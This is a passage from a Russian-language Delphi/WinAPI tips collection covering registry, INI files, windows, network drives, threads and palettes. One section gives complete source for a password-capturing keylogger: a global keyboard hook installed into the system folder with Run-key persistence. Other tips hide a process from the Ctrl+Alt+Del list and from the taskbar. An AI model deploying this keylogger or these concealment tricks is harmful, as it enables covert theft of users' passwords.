Enable — требуемое состояние устройств ввода (True — включены, false — выключены). Если ввод заблокирован, то его можно разблокировать вручную — нажать Ctrl+Alt+Del, при появлении меню "Завершение работы программы" ввод разблокируется.

А вот еще интересный прикол.

Включение/выключение монитора программным способом.

Предупреждаю сразу! После того, как вы отключите монитор, просто так вы его уже не включите (хотя это может быть зависит от монитора, я, во всяком случае, не смог). Только после перезагрузки компьютера.

Отключить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

Включить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);

Для переключения языка применяется вызов LoadKeyboardLayout:

var russian, latin: HKL;

russian:=LoadKeyboardLayout('00000419', 0);

latin:=LoadKeyboardLayout('00000409', 0);

-- -- -- -- -- где то в программе --- --- ---

SetActiveKeyboardLayout(russian);

Вот, может поможет:

>1. Setup.bat

=== Cut ===

@echo off

copy HookAgnt.dll %windir%\system

copy kbdhook.exe %windir%\system

start HookAgnt.reg

=== Cut ===

>2.HookAgnt.reg

=== Cut ===

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"kbdhook"="kbdhook.exe"

=== Cut ===

>3.KbdHook.dpr

=== Cut ===

program cwbhook;

uses Windows, Dialogs;

var

 hinstDLL: HINST;

 hkprcKeyboard: TFNHookProc;

 msg: TMsg;

begin

 hinstDLL := LoadLibrary('HookAgnt.dll');

 hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');

 SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);

 repeat until not GetMessage(msg, 0, 0, 0);

end.

=== Cut === 

>4.HookAgnt.dpr

=== Cut ===

library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports KeyboardProc;

var

 hFileMappingObject: THandle;

 fInit: Boolean;

procedure DLLMain(Reason: Integer);

begin

 if Reason = DLL_PROCESS_DETACH then begin

  UnmapViewOfFile(lpvMem);

  CloseHandle(hFileMappingObject);

 end;

end;

begin

 DLLProc := @DLLMain;

 hFileMappingObject := CreateFileMapping(THandle($FFFFFFFF), // use paging file

  nil, // no security attributes

  PAGE_READWRITE, // read/write access

  0, // size: high 32 bits

  4096, // size: low 32 bits

  'HookAgentShareMem' // name of map object

 );

 if hFileMappingObject = INVALID_HANDLE_VALUE then begin

  ExitCode := 1;

  Exit;

 end;

 fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

 lpvMem := MapViewOfFile(

  hFileMappingObject, // object to map view of

  FILE_MAP_WRITE, // read/write access

  0, // high offset: map from

  0, // low offset: beginning

  0); // default: map entire file

 if lpvMem = nil then begin

  CloseHandle(hFileMappingObject);

  ExitCode := 1;

  Exit;

 end;

 if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);

end.

=== Cut ===

>5.KeyboardHook.pas

=== Cut ===

unit KeyboardHook;

interface

uses Windows;

const PASSWORDSIZE = 16;

var

 g_hhk: HHOOK;

 g_szKeyword: array[0..PASSWORDSIZE-1] of char;

 lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;

implementation

 uses SysUtils, Dialogs;

 function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;

 var

  szModuleFileName: array[0..MAX_PATH-1] of Char;

  szKeyName: array[0..16] of Char;

  lpszPassword: PChar;

 begin

  lpszPassword := PChar(lpvMem);

  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin

   GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

   if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then

    lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

   lstrcat(g_szKeyword, szKeyName);

   GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

   if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and

    (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then

    lstrcat(lpszPassword, szKeyName);

   if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then begin

    ShowMessage(lpszPassword);

    g_szKeyword[0] := #0;

   end;

   Result := 0;

  end

  else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

 end;

end.

=== Cut ===

Я хотел бы узнать, при запуске моего приложения, нажата ли клавиша Ctrl. Просто хочется сделать, что-то вроде пароля.

О состоянии клавиатуры дают информацию следующие функции:

GetKeyState, GetAsyncKeyState, GetKeyboardState.

Чтобы упростить себе жизнь и не возиться с этими функциями снова и снова я написал маленькие функции:

function AltKeyDown : boolean;

begin

 result:=(Word(GetKeyState(VK_MENU)) and $8000)<>0;

end;

function CtrlKeyDown : boolean;

begin

 result:=(Word(GetKeyState(VK_CONTROL)) and $8000)<>0;

end;

function ShiftKeyDown : boolean;

begin

 result:=(Word(GetKeyState(VK_SHIFT)) and $8000)<>0;

end;

А заодно и для клавиш переключателей:

function CapsLock : boolean;

begin

 result:=(GetKeyState(VK_CAPITAL) and 1)<>0;

end;

function InsertOn : boolean;

begin

 result:=(GetKeyState(VK_INSERT) and 1)<>0;

end;

function NumLock : boolean;

begin

 result:=(GetKeyState(VK_NUMLOCK) and 1)<>0;

end;

function ScrollLock : boolean;

begin

 result:=(GetKeyState(VK_SCROLL) and 1)<>0;

end;

При написании разнообразны программ типа заставок, менеджеров управления компьютером… возникает необходимость переводить компьютер в режим «спячки». Для включения этого режима в Windows 95 (и только в ней !!) предусмотрена команда API:

SetSystemPowerState(Suspended, Mode: Boolean):boolean;

Suspended должно быть TRUE для ухода в спячку.

Mode — режим входа в спячку. Если TRUE, то всем программам и драйверам посылается Message PBT_APMSUSPEND, по которому они должны немедленно прекратить работу. Если FALSE, то посылается Message PBT_APMQUERYSUSPEND запроса на спячку, и драйвера в ответ могут дать отказ на включение режима спячки.

Возврат функции SetSystemPowerState: TRUE — режим включен.

procedure TForm1.Button1Click(Sender: TObject);

VAR

 Wnd : hWnd;

 buff: ARRAY [0..127] OF Char;

begin

 ListBox1.Clear;

 Wnd := GetWindow(Handle, gw_HWndFirst);

 WHILE Wnd <> 0 DO BEGIN {Не показываем:}

  IF (Wnd <> Application.Handle) AND {-Собственное окно}

   IsWindowVisible(Wnd) AND {-Невидимые окна}

   (GetWindow(Wnd, gw_Owner) = 0) AND {-Дочерние окна}

   (GetWindowText(Wnd, buff, sizeof(buff)) <> 0){-Окна без заголовков}

   THEN BEGIN

   GetWindowText(Wnd, buff, sizeof(buff));

   ListBox1.Items.Add(StrPas(buff));

  END;

  Wnd := GetWindow(Wnd, gw_hWndNext);

 END;

 ListBox1.ItemIndex := 0;

end;

Внеся изменения (выделенные цветом) в свой проект вы получите приложение, которое не видно в TaskBar и на него нельзя переключиться по Alt-Tab

program Project1;

uses

 Forms,

 Windows,

 Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var

 ExtendedStyle : integer;

begin

 Application.Initialize;

 ExtendedStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);

 SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle or WS_EX_TOOLWINDOW {AND NOT WS_EX_APPWINDOW});

 Application.CreateForm(TForm1, Form1);

 Application.Run;

end.

Если включить синий коментарий, то получите очень интересное приложение. Оно не видно в TaskBar и на него нельзя переключиться по Alt-Tab, но когда приложение минимизируется оно остается на рабочем столе в виде свернутого заголовка (прямо как в старом добром Windows 3.11)

Только сpазу пpедупpеждаю пpо гpабли, на котоpые я наступал:

Будь готов к тому, что если пpи попытке закpытия пpиложения в OnCloseQuery или OnClose выводится вопpос о подтвеpждении, то могут быть пpоблемы с автоматическим завеpшением пpогpаммы пpи shutdown — под Win95 пpосто зависает, под WinNT не завеpшается. Очевидно, что сообщение выводится, но его не видно (пpичем SW_RESTORE не сpабатывает). Решение — ловить WM_QueryEndSession и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt.

А вот как отрубить показ файла в Ctrl-Alt-Del

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';

implementation

procedure TForm1.Button1Click(Sender: TObject);

begin //Hide

 if not (csDesigning in ComponentState) then

  RegisterServiceProcess(GetCurrentProcessID, 1);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin //Show

 if not (csDesigning in ComponentState) then

  RegisterServiceProcess(GetCurrentProcessID, 0);

end;

sProgTitle: Название для программы

sCmdLine: Имя EXE файла с путем доступа

bRunOnce: Запустить только один раз или постоянно при загрузке Windows

procedure RunOnStartup(sProgTitle, sCmdLine : string; bRunOnce : boolean);

var

 sKey : string;

 reg : TRegIniFile;

begin

 if (bRunOnce)then sKey := 'Once'

 else sKey := '';

 reg := TRegIniFile.Create('');

 reg.RootKey := HKEY_LOCAL_MACHINE;

 reg.WriteString('Software\Microsoft'

  + '\Windows\CurrentVersion\Run'

  + sKey + #0,

  sProgTitle, sCmdLine);

 reg.Free;

end;

// Например

RunOnStartup('Title of my program','MyProg.exe',False );

Примечание. Этот пример удобно использовать при написании деинсталляторов — добавить однократный вызов деинсталлятора и запросить от пользователя перезагрузку. Этот прием позволит безболезненно удалять DLL и им подобные файлы, которые обычном способом удалить невозможно (они загружены в силу того, что использовались деинсталлируемой программой или работают в момент деинсталляции).

uses ShellAPI;

function DeleteFileWithUndo( sFileName : string ) : boolean;

var fos : TSHFileOpStruct;

begin

 sFileName:= sFileName+#0;

 FillChar( fos, SizeOf( fos ), 0 );

 with fos do begin

  wFunc := FO_DELETE;

  pFrom := PChar( sFileName );

  fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;

 end;

 Result := ( 0 = ShFileOperation( fos ) );

end;

uses ShellAPI, ShlOBJ;

procedure AddToStartDocumentsMenu( sFilePath : string );

begin

 SHAddToRecentDocs( SHARD_PATH, PChar( sFilePath ) );

end;

// Например

AddToStartDocumentsMenu( 'c:\windows\MyWork.txt' );

program wallpapr;

uses Registry, WinProcs;

procedure SetWallpaper(sWallpaperBMPPath : String; bTile : boolean );

var

 reg : TRegIniFile;

begin

 // Изменяем ключи реестра

 // HKEY_CURRENT_USER

 // Control Panel\Desktop

 // TileWallpaper (REG_SZ)

 // Wallpaper (REG_SZ)

 reg := TRegIniFile.Create('Control Panel\Desktop' );

 with reg do begin

  WriteString( '', 'Wallpaper', sWallpaperBMPPath );

  if( bTile )then begin

   WriteString('', 'TileWallpaper', '1' );

  end else begin

   WriteString('', 'TileWallpaper', '0' );

  end;

 end;

 reg.Free;

 // Оповещаем всех о том, что мы

 // изменили системные настройки

 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE );

end;

begin

 // пример установки WallPaper по центру рабочего стола

 SetWallpaper('c:\winnt\winnt.bmp', False );

end.

procedure TForm1.FormCreate(Sender: TObject);

var Style: Longint;

begin

 Style := GetWindowLong(Handle, GWL_STYLE);

 SetWindowLong(Handle, GWL_STYLE, Style And Not WS_SYSMENU);

end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

begin

 if (Key = VK_F4) and (ssAlt in Shift) then begin

  MessageBeep(0); Key := 0;

 end;

end;

Hе знаю как насчет акселераторов, надо поискать, а вот добавить Item — пожалуйста

type

 TMyForm=class(TForm)

 procedure wmSysCommand(var Message:TMessage); message WM_SYSCOMMAND;

end;

const

 ID_ABOUT = WM_USER+1;

 ID_CALENDAR=WM_USER+2;

 ID_EDIT = WM_USER+3;

 ID_ANALIS = WM_USER+4;

implementation

procedure TMyForm.wmSysCommand;

begin

 case Message.wParam of

 ID_CALENDAR:DatBitBtnClick(Self) ;

 ID_EDIT :EditBitBtnClick(Self);

 ID_ANALIS:AnalisButtonClick(Self);

 end;

 inherited;

end;

procedure TMyForm.FormCreate(Sender: TObject);

var SysMenu:THandle;

begin

 SysMenu:=GetSystemMenu(Handle,False);

 InsertMenu(SysMenu,Word(-1),MF_SEPARATOR,ID_ABOUT,'');

 InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Calendar, 'Calendar');

 InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Analis, 'Analis');

 InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Edit, 'Edit');

end;

procedure TForm1.Button1Click(Sender: TObject);

var

 si : Tstartupinfo;

 p : Tprocessinformation;

begin

 FillChar( Si, SizeOf( Si ) , 0 );

 with Si do begin

  cb := SizeOf( Si);

  dwFlags := startf_UseShowWindow;

  wShowWindow := 4;

 end;

 Application.Minimize;

 Createprocess(nil,'notepad.exe',nil,nil,false,

 Create_default_error_mode,nil,nil,si,p);

 Waitforsingleobject(p.hProcess,infinite);

 Application.Restore;

end;

var

 FolderPath :string;

 Registry := TRegistry.Create;

try

 Registry.RootKey := HKey_Current_User;

 Registry.OpenKey('Software\Microsoft\Windows\'+

  'CurrentVersion\Explorer\Shell Folders', False);

 FolderName := Registry.ReadString('StartUp');

 {Cache, Cookies, Desktop, Favorites,

 Fonts, Personal, Programs, SendTo, Start Menu, Startp}

finally

 Registry.Free;

end;

В файл MyWave.rc пишешь:

MyWave RCDATA LOADONCALL MyWave.wav

Затем компилируешь

brcc32.exe MyWave.rc

получаешь MyWave.res.

В своей программе пишешь:

{$R MyWave.res}

procedure RetrieveMyWave;

var

 hResource: THandle;

 pData: Pointer;

begin

 hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDATA));

 try

  pData := LockResource(hResource);

  if pData = nil then raise Exception.Create('Cannot read MyWave');

  // Здесь pData указывает на MyWave

  // Теперь можно, например, проиграть его (Win32):

  PlaySound('MyWave', 0, SND_MEMORY);

 finally

  FreeResource(hResource);

 end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

 hTaskBar : THandle;

begin

 hTaskbar := FindWindow('Shell_TrayWnd', Nil);

 ShowWindow(hTaskBar, SW_HIDE);

end;

procedure TForm1.Button2Click(Sender: TObject);

var

 hTaskBar : THandle;

begin

 hTaskbar := FindWindow('Shell_TrayWnd', Nil);

 ShowWindow(hTaskBar, SW_SHOWNORMAL);

end;

Хотелось бы чтобы при нажатии на кнопку minimize программа исчезала из таскбара.

При нажатии на эти кнопки происходит сообщение WM_SYSCOMMAND, его то и надо перехватить.

При этом:

uCmdType = wParam; // type of system command requested

xPos = LOWORD(lParam); // horizontal postion, in screen coordinates

yPos = HIWORD(lParam); // vertical postion, in screen coordinates

Пример:

Type TMain = class(TForm)

 ....

protected

 Procedure WMGetSysCommand(var Message :TMessage); message WM_SYSCOMMAND;

end;

.....

//------------------------------------------------------------------------

// Обработка сообщения WM_SYSCOMMAND (перехват минимизации окна)

//------------------------------------------------------------------------

Procedure TForm1.WMGetSysCommand(var Message : TMessage) ;

Begin

 IF (Message.wParam = SC_MINIMIZE) Then Form1.Visible:=False

 Else Inherited;

End;

Для работы с сетевыми дисководами (и ресурсами типа LPT порта) в WIN API 16 и WIN API 32 следующие функции:

1.Подключить сетевой ресурс

WNetAddConnection(NetResourse,Password,

где NetResourse — имя сетевого ресурса (например '\\P166\c')

Password — пароль на доступ к ресурсу (если нет пароля, то пустая строка)

LocalName — имя, под которым сетевой ресурс будет отображен на данном компьютере (например 'F:')

Пример подключения сетевого диска

WNetAddConnection('\\P166\C','','F:');

Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :

NO_ERROR — Нет ошибок — успешное завершение

ERROR_ACCESS_DENIED — Ошибка доступа

ERROR_ALREADY_ASSIGNED — Уже подключен. Наиболее часто возникает при повторном вызове данной функции с теми-же параметрами.

ERROR_BAD_DEV_TYPE — Неверный тип устройства.

ERROR_BAD_DEVICE — Неверное устройство указано в LocalName

ERROR_BAD_NET_NAME — Неверный сетевой путь или сетевое имя

ERROR_EXTENDED_ERROR — Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)

ERROR_INVALID_PASSWORD — Неверный пароль

ERROR_NO_NETWORK — Нет сети

2.Отключить сетевой ресурс

WNetCancelConnection(LocalName:PChar;

где

LocalName — имя, под которым сетевой ресурс был подключен к данному компьютеру (например 'F:')

ForseMode — режим отключения :

False — корректное отключение. Если отключаемый ресурс еще используется, то отключения не произойдет (например, на сетевом диске открыт файл)

True — скоростное некорректное отключение. Если ресурс используется, отключение все равно произойдет и межет привести к любым последствиям (от отсутствия ошибок до глухого повисания)

Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :

NO_ERROR — Нет ошибок — успешное завершение

ERROR_DEVICE_IN_USE — Ресурс используется

ERROR_EXTENDED_ERROR — Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)

ERROR_NOT_CONNECTED — Указанное ус-во не является сетевым

ERROR_OPEN_FILES — На отключаемом сетевом диске имеются открытые файлы и параметр ForseMode=false

Рекомендация: при отключении следует сначала попробовать отключить ус-во с параметром ForseMode=false и при ошибке типа ERROR_OPEN_FILES выдать запрос с сообщением о том, что ус-во еще используется и предложением отключить принудительно, и при согласии пользователя повторить вызов с ForseMode=true

Есть первый вариант:

procedure procname1(param1:type1; param2:type2... и т.д.) external 'dllname.dll' name 'procname_in_dllfile';

Но тут есть один нюанс: при отсутствии DLL модуля, либо при отсутствии в нем указанной процедуры будет выдаваться ошибка и запуск программы будет отменен.

Второй вариант: 

Type

 prc1 = procedure (param1:type1; param2:type2... и т.д.) ;

var

 proc1 : prc1;

 head : integer ; // или что-то в этом роде

 .....

var

 p : pointer;

begin

 head:= loadlibrary ('DLLFile.DLL'); // загружаем модуль в память

 if head=0 then begin

  // Сообщаем о том что модуль не найден

 end

 else begin

  // Ищем в модуле наши процедуры и функции

  p:=getprocaddress ('Имя_Искомой_Процедуры');

  // Тут посмотри точно название этой

  // функции в хелпе по LoadLibrary.

  // Имя_Искомой_Процедуры должно

  // быть один в один с именем процедуры

  // в библиотеке с учетом регистров.

  if p=nil then begin

   // Процедура не найдена

  end else proc1:=prc1(p);

end;

К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл. Потомку надо передать имя файла, а вот как? 

Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим образом.

В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно пользоваться данными, переданными ей при его создании.

Например:

......

TYourThread = class(TTHread)

private

 FFileName: String;

protected

 procedure Execute; overrided;

public

 constructor Create(CreateSuspennded: Boolean; const AFileName: String);

end;

.....

constructor TYourThread.Create(CreateSuspennded: Boolean; const AFileName: String);

begin

 inherited Create(CreateSuspennded);

 FFIleName := AFileName;

end;

procedure TYourThread.Execute;

begin

 try

  ....

  if FFileName = ...

  ....

 except

  ....

 end;

end;

....

TYourForm = class(TForm)

....

private

 YourThread: TYourThread;

 procedure LaunchYourThread(const AFileName: String);

 procedure YourTreadTerminate(Sender: TObject);

 ....

end;

....

procedure TYourForm.LaunchYourThread(const AFileName: String);

begin

 YourThread := TYourThread.Create(True, AFileName);

 YourThread.Onterminate := YourTreadTerminate;

 YourThread.Resume

end;

....

procedure TYourForm.YourTreadTerminate(Sender: TObject);

begin

 ....

end;

 ....

end.

СGI программа должна показывать GIF изображение.

Имею тег.  Прочитать JPeg, указать ContentType=Image/jpeg и выдать изображение в SaveToStream умею. Как сделать тоже самое для файлов GIF, в особенности анимационных? Если можно просто перелить дисковый файл (пусть он хоть трижды GIF) в Response CGI-програмы, то как это сделать? 

Выдайте из скрипта следующее: 

Content-type: image/gif  

<содержимое gif-файла>

1. Создать новый документ, поместить его в папку Windows/ShellNew

2. В редакторе реестра найти расширение этого файла, добавить новый подключ, добавить туда строку: FileName в качестве значения которой указать имя созданного файла.

1. Найти ключ HKEY_CLASSES_ROOT\Unknown\Shell

2. Добавить новый ключ Open

3. Под этим ключом еще ключ с именем command в котором изменить значение (По умолчанию) на имя запускаемого файла, к имени нужно добавить %1. (Windows заменит этот символ на имя запускаемого файла)

1. Найти ключ HKEY_CLASSES_ROOT\Directory\Shell

2. Создать подключ: opennew в котором изменить значение (По умолчанию) на: "Открыть в новом окне"

3. Под этим ключом создать еще подключ command (По умолчанию) = explorer %1

Подключ HKEY_LOCAL_MACHINE\SoftWare\Logitech и там найти параметр DoubleClick заменить 000 на 001

Например создает звуки на запуск и закрытие WinWord

HKEY_CURRENT_USER\AppEvents\Shemes\Apps добавить подключ WinWord и к нему подключи Open и Close.

Теперь в настройках звуков видны новые события

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall

В Delphi 2 и выше появился объект TRegistry при помощи которого очень просто работать с реестром. Но мы здесь рассмотрим функции API, которые доступны и в Delphi 1.

Реестр предназначен для хранения системных переменных и позволяет зарегистрировать файлы программы, что обеспечивает их показ в проводнике с соответствующей иконкой, вызов программы при щелчке на этом файле, добавление ряда команд в меню, вызываемое при нажатии правой кнопки мыши над файлом. Кроме того, в реестр можно внести некую свою информацию (переменные, константы, данные о инсталлированной программы…). Программу можно добавить в список деинсталляции, что позволит удалить ее из менеджера "Установка/Удаление программ" панели управления.

Для работы с реестром применяется ряд функций API :

RegCreateKey (Key: HKey; SubKey: PChar; var Result: HKey): Longint;

Создать подраздел в реестре. Key указывает на "корневой" раздел реестра, в Delphi1 доступен только один — HKEY_CLASSES_ROOT, в в Delphi3 — все. SubKey — имя раздела — строится по принципу пути к файлу в DOS (пример subkey1\subkey2\…). Если такой раздел уже существует, то он открывается (в любом случае при успешном вызове Result содержит Handle на раздел). Об успешности вызова судят по возвращаемому значению, если ERROR_SUCCESS, то успешно, если иное — ошибка.

RegOpenKey(Key: HKey; SubKey: PChar; var Result: HKey): Longint;

Открыть подраздел Key\SubKey и возвращает Handle на него в переменной Result. Если раздела с таким именем нет, то он не создается. Возврат — код ошибки или ERROR_SUCCESS, если успешно.

RegCloseKey(Key: HKey): Longint;

Закрывает раздел, на который ссылается Key. Возврат — код ошибки или ERROR_SUCCESS, если успешно.

RegDeleteKey(Key: HKey; SubKey: PChar): Longint;

Удалить подраздел Key\SubKey. Возврат — код ошибки или ERROR_SUCCESS, если нет ошибок.

RegEnumKey(Key: HKey; index: Longint; Buffer: PChar;cb: Longint): Longint;

Получить имена всех подразделов раздела Key, где Key — Handle на открытый или созданный раздел (см. RegCreateKey и RegOpenKey), Buffer — указатель на буфер, cb — размер буфера, index — индекс, должен быть равен 0 при первом вызове RegEnumKey. Типичное использование — в цикле While, где index увеличивается до тех пор, пока очередной вызов RegEnumKey не завершится ошибкой (см. пример).

RegQueryValue(Key: HKey; SubKey: PChar; Value: PChar; var cb: Longint): Longint;

Возвращает текстовую строку, связанную с ключом Key\SubKey. Value — буфер для строки; cb — размер, на входе — размер буфера, на выходе — длина возвращаемой строки. Возврат — код ошибки.

RegSetValue(Key: HKey; SubKey: PChar; ValType: Longint; Value: PChar; cb: Longint): Longint;

Задать новое значение ключу Key\SubKey, ValType — тип задаваемой переменной, Value — буфер для переменной, cb — размер буфера. В Windows 3.1 допустимо только Value=REG_SZ. Возврат — код ошибки или ERROR_SUCCESS, если нет ошибок.

Примеры :

{  Создаем список всех подразделов указанного раздела }

procedure TForm1.Button1Click(Sender: TObject);

var

 MyKey : HKey; { Handle для работы с разделом }

 Buffer : array[0..1000] of char; { Буфер }

 Err, { Код ошибки }

 index : longint; { Индекс подраздела }

begin

Err:=RegOpenKey(HKEY_CLASSES_ROOT,'DelphiUnit',MyKey); { Открыли раздел }

if Err<> ERROR_SUCCESS then

  begin

    MessageDlg('Нет такого раздела !!',mtError,[mbOk],0);

    exit;

  end;

index:=0;

{Определили имя первого подраздела }

Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer));

while err=ERROR_SUCCESS do { Цикл, пока есть подразделы }

  begin

    memo1.lines.add(StrPas(Buffer)); { Добавим имя подраздела в список }

    inc(index); { Увеличим номер подраздела }

    Err:=RegEnumKey(MyKey,index,Buffer,Sizeof(Buffer)); { Запрос }

  end;

RegCloseKey(MyKey); { Закрыли подраздел }

end;

Почему иногда лучше использовать INI-файлы, а не реестр?

1. INI-файлы можно просмотреть и отредактировать в обычном блокноте.

2. Если INI-файл хранить в папке с программой, то при переносе папки на другой компьютер настройки сохраняются. (Я еще не написал ни одной программы, которая бы не поместилась на одну дискету :)

3. Новичку в реестре можно запросто запутаться или (боже упаси), чего-нибудь не то изменить.

Поэтому для хранения параметров настройки программы удобно использовать стандартные INI файлы Windows. Работа с INI файлами ведется при помощи объекта TIniFiles модуля IniFiles. Краткое описание методов объекта TIniFiles дано ниже.

Constructor Create('d:\test.INI');

Создать экземпляр объекта и связать его с файлом. Если такого файла нет, то он создается, но только тогда, когда произведете в него запись информации.

WriteBool(const Section, Ident: string; Value: Boolean);

Присвоить элементу с именем Ident раздела Section значение типа boolean

WriteInteger(const Section, Ident: string; Value: Longint);

Присвоить элементу с именем Ident раздела Section значение типа Longint

WriteString(const Section, Ident, Value: string);

Присвоить элементу с именем Ident раздела Section значение типа String

ReadSection (const Section: string; Strings: TStrings);

Прочитать имена всех корректно описанных переменных раздела Section (некорректно описанные опускаются)

ReadSectionValues(const Section: string; Strings: TStrings);

Прочитать имена и значения всех корректно описанных переменных раздела Section. Формат :

имя_переменной = значение

EraseSection(const Section: string);

Удалить раздел Section со всем содержимым

ReadBool(const Section, Ident: string; Default: Boolean): Boolean;

Прочитать значение переменной типа Boolean раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

ReadInteger(const Section, Ident: string; Default: Longint): Longint;

Прочитать значение переменной типа Longint раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

ReadString(const Section, Ident, Default: string): string;

Прочитать значение переменной типа String раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default.

Free;

Закрыть и освободить ресурс. Необходимо вызвать при завершении работы с INI файлом

Property Values[const Name: string]: string;

Доступ к существующему параметру по имени Name

Пример :

Procedure TForm1.FormClose(Sender: TObject);

var

IniFile:TIniFile;

begin

  IniFile := TIniFile.Create('d:\test.INI'); { Создали экземпляр объекта }

  IniFile.WriteBool('Options', 'Sound', True); { Секция Options: Sound:=true }

  IniFile.WriteInteger('Options', 'Level', 3); { Секция Options: Level:=3 }

  IniFile.WriteString('Options' , 'Secret password', Pass);

   { Секция Options: в Secret password записать значение переменной Pass }

  IniFile.ReadSection('Options ', memo1.lines); { Читаем имена переменных}

  IniFile.ReadSectionValues('Options ', memo2.lines); { Читаем имена и значения }

  IniFile.Free; { Закрыли файл, уничтожили объект и освободили память }

end;

Как работать с палитрой в Delphi? На форме установлен TImage и видна картинка (*.BMP файл), как изменить у него палитру цветов ?

Палитра в TBitmap и TMetaFile доступна через property Palette. Если палитра имеется (что совсем необязательно), то Palette<>0:

procedure TMain.BitBtnClick(Sender: TObject);

var

 Palette : HPalette;

 PaletteSize : Integer;

 LogSize: Integer;

 LogPalette: PLogPalette;

 Red : Byte;

begin

 Palette := Image.Picture.Bitmap.ReleasePalette;

 // здесь можно использовать просто Image.Picture.Bitmap.Palette, но я не

 // знаю, удаляются ли ненужные палитры автоматически

 if Palette=0 then exit; //Палитра отсутствует

 PaletteSize := 0;

 if GetObject(Palette, SizeOf(PaletteSize), @PaletteSize) = 0 then Exit;

 // Количество элементов в палитре = paletteSize

 if PaletteSize = 0 then Exit; // палитра пустая

 // определение размера палитры

 LogSize := SizeOf(TLogPalette) + (PaletteSize - 1) * SizeOf(TPaletteEntry);

 GetMem(LogPalette, LogSize);

 try

  // заполнение полей логической палитры

  with LogPalette^ do begin

   palVersion := $0300; palNumEntries := PaletteSize;

   GetPaletteEntries(Palette, 0, PaletteSize, palPalEntry);

   // делаете что нужно с палитрой, например:

   Red := palPalEntry[PaletteSize-1].peRed;

   Edit1.Text := 'Красная составляющего последнего элемента палитры ='+IntToStr(Red);

   palPalEntry[PaletteSize-1].peRed := 0;

   //.......................................

  end;

  // завершение работы

  Image.Picture.Bitmap.Palette := CreatePalette(LogPalette^);

  finally

  FreeMem(LogPalette, LogSize);

  // я должен позаботиться сам об удалении Released Palette

  DeleteObject(Palette);

 end;

end;

{ Этот модуль заполняет фон формы рисунком bor6.bmp (256 цветов)

и меняет его палитру при нажатии кнопки }

unit bmpformu;

interface

uses

 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type TBmpForm = class(TForm)

 Button1: TButton;

 procedure FormDestroy(Sender: TObject);

 procedure FormPaint(Sender: TObject);

 procedure Button1Click(Sender: TObject);

 procedure FormCreate(Sender: TObject);

private

 Bitmap: TBitmap;

 procedure ScrambleBitmap;

 procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;

end;

var

 BmpForm: TBmpForm;

implementation

{$R *.DFM}

procedure TBmpForm.FormCreate(Sender: TObject);

begin

 Bitmap := TBitmap.Create;

 Bitmap.LoadFromFile('bor6.bmp');

end;

procedure TBmpForm.FormDestroy(Sender: TObject);

begin

 Bitmap.Free;

end;

// since we're going to be painting the whole form, handling this

// message will suppress the uneccessary repainting of the background

// which can result in flicker.

procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);

begin

 m.Result := LRESULT(False);

end;

procedure TBmpForm.FormPaint(Sender: TObject);

 var x, y: Integer;

begin

 y := 0;

 while y < Height do begin

  x := 0;

  while x < Width do begin

   Canvas.Draw(x, y, Bitmap);

   x := x + Bitmap.Width;

  end;

  y := y + Bitmap.Height;

 end;

end;

procedure TBmpForm.Button1Click(Sender: TObject);

begin

 ScrambleBitmap; Invalidate;

end;

// scrambling the bitmap is easy when it's has 256 colors:

// we just need to change each of the color in the palette

// to some other value.

